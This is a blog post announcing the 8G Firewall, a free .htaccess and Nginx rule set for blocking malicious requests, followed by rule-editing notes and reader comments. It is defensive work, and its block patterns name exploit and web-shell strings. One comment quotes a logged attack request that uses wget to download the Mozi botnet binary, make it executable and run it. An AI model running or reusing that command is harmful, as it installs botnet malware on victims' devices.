8G Firewall

♦ Posted by Jeff Starr in .htaccess, Security

Updated September 26, 2026 • 204 comments

After more than a year of beta testing, 8G Firewall is ready for use on production sites. So you can benefit from the powerful protection provided by the latest evolution of the nG Firewall (aka nG Blacklist). The 8G Firewall offers lightweight, server-level protection against a wide range of malicious requests, bad bots, automated attacks, spam, and many other types of threats and nonsense. 8G is a lightweight (only 17KB) strong firewall that provides site security and peace of mind. Plus, 8G is open source and 100% free for everyone :)

Want to block AI bots? Check out my Ultimate Block List to Stop AI Bots »

Update: 8G has been forked for both Nginx and Apache by Tonkünstler-on-the-Bund. The Apache fork uses SetEnvIf instead of mod_rewrite. Learn more and download at GitHub.

About 8G Firewall
Reporting Bugs
Download 8G Firewall
License & Disclaimer
Show Support
8G Notes

About 8G Firewall

The 8G Firewall is a carefully crafted set of security rules for Apache and Nginx servers. It can be applied via your site’s public root .htaccess file, or added via server configuration. Once added, 8G provides powerful server-level protection against a wide range of malicious requests, bad bots, automated attacks, spam, and many other types of threats and nonsense. It’s a lightweight (only 17KB) strong firewall that improves site security and peace of mind.

8G Firewall builds on 7G, optimizing scope with performance while minimizing false positives. Learn more about nG-series firewall, including 8G and all the details:

Official nG Homepage »

Live Demo of nG Firewall »

Support 8G Firewall: Donate via PayPal or your favorite digital coin »

Reporting Bugs

As of version 1.3, 8G is out of beta and ready for production sites. Any bugs (false positives) may be reported via my contact form. Or if you have any questions or non-bug-related feedback, you are welcome to leave a comment on this post. Thank you :)

nG Logging: Just FYI, 7G and 8G Firewall support logging of each request, matching patterns, and more. Learn how to enable logging with nG Firewall.

Download 8G Firewall

By downloading 8G, you agree to the terms set forth in the License and Disclaimer. You will find copy of the 8G changelog included in the zip download file. Check out the nG homepage for install steps and complete information.

Download 8G FirewallVersion 1.5 ( 7.74 KB ZIP )

Note: To retain the Unix LF EOL characters (line breaks) in the 8G text file, it is recommended to use a program that supports them, such as Notepad++ (free for Windows) or TextEdit or BBEdit (free for Mac). The line breaks keep the code structured and readable, instead of a big jumbled mess.

License & Disclaimer

8G Firewall is open source and 100% free for all. The only requirement is that the following credit lines are included when using 8G (or any of its parts).

# 8G FIREWALL
# https://perishablepress.com/8g-firewall/

Other than that, it’s all yours!

Disclaimer

The 8G Firewall is provided “as-is”, with the intention of helping people protect their sites against bad requests and other malicious activity. The code is open and free to use and modify as long as the first two credit lines remain intact. By using this code you assume all risk and responsibility for anything that happens. So use wisely, test thoroughly, and enjoy the benefits of my work :)

Show support

I spend countless hours developing the nG Firewall. I share it freely and openly with the hope that it will help make the Web a more secure place for everyone.

If you benefit from my work with nG Firewall and would like to show support, consider buying one of my books, such as .htaccess made easy. You’ll get a complete guide to .htaccess, exclusive forum access, and a ton of awesome techniques for configuring, optimizing, and securing your site.

Of course, tweets, likes, links, and shares are super helpful and very much appreciated. Your generous support allows me to continue developing the nG Firewall and other awesome resources for the community. Thank you kindly :)

Support 8G Firewall: Donate via PayPal, Stripe, or your favorite digital coin »

8G Notes

Any 8G-related notes will be added/updated below..

Only use 7G or 8G, not both
8G is modular: each section can be removed/added as desired
There is an addon to block AI bots: Ultimate Block List to Stop AI Bots »
8G is designed to work flawlessly on any website, not just WordPress
8G adds new “HTTP COOKIE” rules
Please report any strings or user agents that should not be blocked
Always test well before going live and report any bugs or issues
If using the “WebP Express” plugin, remove env from Request URI rules
To enable “phpinfo() WP” plugin, remove phpinfo from Query String rules
To enable the “Ahrefs” bot, remove ahrefs from User Agent rules
Also note that 8G blocks the W3 Validator (I am unable to figure out why)

WordPress

If you need exact-match search results (i.e., surrounding search terms with quotation marks) when attaching items from the Media Library to a post, make the following edit. Locate this line:

RewriteCond %{QUERY_STRING} (;|<|>|\'|\"|\)|%0a|%0d|%22|%27|%3c|%3e|%00)(.*)...

And remove %22|, so the line becomes:

RewriteCond %{QUERY_STRING} (;|<|>|\'|\"|\)|%0a|%0d|%27|%3c|%3e|%00)(.*)...

Joomla

If you use Joomla plugin JCE Pro, make the following edit. Locate this line:

RewriteCond %{REQUEST_URI} (/)(filemanager|htdocs|httpdocs...

And remove filemanager|, so the line becomes:

RewriteCond %{REQUEST_URI} (/)(htdocs|httpdocs...

Other 8G-related notes will be added here..

About the Author

Jeff Starr = Fullstack Developer. Book Author. Teacher. Human Being.

204 responses to “8G Firewall”

Danilo 2025/04/06 7:19 am • Reply

In the log I see some connection attempts with a strange request_method:

27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$

In my case, it doesn’t pass, because I have my own rule that blocks the HTTP/1.0 protocol.

Ulrik 2025/05/13 1:22 am • Reply

This part of the 8G firewall is blocking DuckDuckGo:

amazonaws

Correct?

Jeff Starr 2025/05/13 10:32 am • Post Author • Reply

No it doesn’t block DuckDuckGo or any search engine. “amazonaws” is the hostname for “Amazon Web Services”, which is web hosting plus other cloud services, etc. In 8G it is blocked when included in the hostname, because a lot of spammers and other bad actors use amazon hosting to run their exploits.

Dan 2025/05/16 5:01 am • Reply

On 23/5/8, Alex reported a problem with this line, which you suggested should be commented out until you fix it:

RewriteCond %{REQUEST_URI} (/)((boot)?_?admin(er|istrator|s)?(_events)?)(\.php) [NC,OR]

It appears to be the same in 8G. Has the issue been addressed?

Jeff Starr 2025/05/16 7:20 am • Post Author • Reply

Yes that was resolved in version 1.2, I believe.

Dan 2025/05/16 5:30 am • Reply

Also, can you confirm that the firewall is case-insensitive? e.g., I see you have ahrefs defined as a User-Agent to be blocked, but my phpBB board shows Ahrefs active as a registered user.

Jeff Starr 2025/05/16 7:16 am • Post Author • Reply

Yes each line/rule in the firewall is flagged with [NC], which means “no case”. Is the registered user named “Ahref”..? Because that would be different than the user agent. Ahref is an SEO/marketing tool and doesn’t really spam with user accounts.

Allecc 2025/05/27 5:22 am • Reply

my wordpress website has an astra theme infinite scroll page with thumbs. when I use the 8G firewall, it disables that infinite scroll function. where in the .htaccess do I enable the infinite scroll function?

Jeff Starr 2025/05/27 12:06 pm • Post Author • Reply

Most likely the URLs that are required for infinite scroll are getting blocked by one of the firewall rules. If you provide some examples of the actual URLs that are getting blocked, I can let you know which rules are responsible, and thus resolve the issue.

Terd 2025/06/07 2:13 am • Reply

How can I prevent 8G Firewall from blocking SEMRush bot?

Jeff Starr 2025/06/07 5:41 am • Post Author • Reply

It depends, what is the SEMRush bot user agent?

Terd 2025/06/07 7:38 am • Reply

User-agent: SemrushBot

As this support page says:
https://www.semrush.com/bot/

Jeff Starr 2025/06/07 12:12 pm • Post Author • Reply

Are you sure it is the user agent that is getting blocked? There is nothing in 8G that would match “SemrushBot” or any variation or partial match. So maybe the requests are blocked via URL or Query String rules..?

Rajat Singh 2025/06/27 4:14 am • Reply

I get some 100+ requests/10 mins for non-existent urls on my site creating huge number of 404s & I discovered it via rankmaths 404 section. They have a wide & unrelated IP ranges so I can’t ban them. No user agent too.

This is the only thing I have from hosting’s access log – Please tell me how to ban it

216.250.97.77 14.164.181.246 - [27/Jun/2025:13:02:44 +0100] "GET /pages/brillare-rewards HTTP/1.1" 404 22036 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" "PHP/8.3.22" 0

I could find the host – static.vnpt.vn and tried to ban it via htaccess but it does not work – I did some search and found out this is some sort of masking.

Jeff Starr 2025/06/27 6:26 am • Post Author • Reply

Here is a tutorial showing different ways to block unwanted requests (e.g., IP address, Request URI, Query String, etc.).

MuP 2025/07/10 10:25 pm • Reply

In htaccess is it possible to answer AI bots with http code 402 instead of 403?
Thanks.

Jeff Starr 2025/07/11 6:29 am • Post Author • Reply
Yes when using mod_rewrite, you can specify the response code in the RewriteRule. For example:
```
<IfModule mod_rewrite.c>
	RewriteCond %{REQUEST_URI} (bananas) [NC]
	RewriteRule (.*) - [R=410,L]
</IfModule>
```
..replace 410 with any HTTP status code.

Lee McLean 2025/07/23 9:56 pm • Reply

Hi. I had to revert to the 7g firewall as I found 8g was blocking some image file names e.g. img333xp.jpg. Can this be fixed?

Jeff Starr 2025/07/24 9:04 am • Post Author • Reply
Find the line that begins with this:
```
RewriteCond %{REQUEST_URI} (@md5|00.temp00|0byte|0d4y|0day|0xor|wso1337|1h6j5|3xp|40dd1d|4price...
```
Then remove exactly this: |3xp.

Save changes and test well before going live.

Roman 2025/08/25 5:48 am • Reply

hi jeff!
thx for your work, i use it a couple of years it helps me very much! but at the moment i can’t update to the actual version, because for every site, exept the home is a 404
what do i wrong? thx in advance, roman

Jeff Starr 2025/08/25 6:15 am • Post Author • Reply

I don’t know it depends on many factors. Best advice would be to ask your web developer or web host, they should be able to help you get it sorted out.

Adam Pollard-Powell 2025/08/27 8:47 am • Reply

I will happily support with a donation if this works with my site. It’s phpbb and we get 100s of 1000s of “guest” visitors, and it often exceeds the hosting resources. Do you have any documentation for the firewall? It would be good to know how it works.

Jeff Starr 2025/08/27 11:21 am • Post Author • Reply

It depends on myriad factors, but in general 8G should stop a lot of the nonsense and help to conserve precious resources.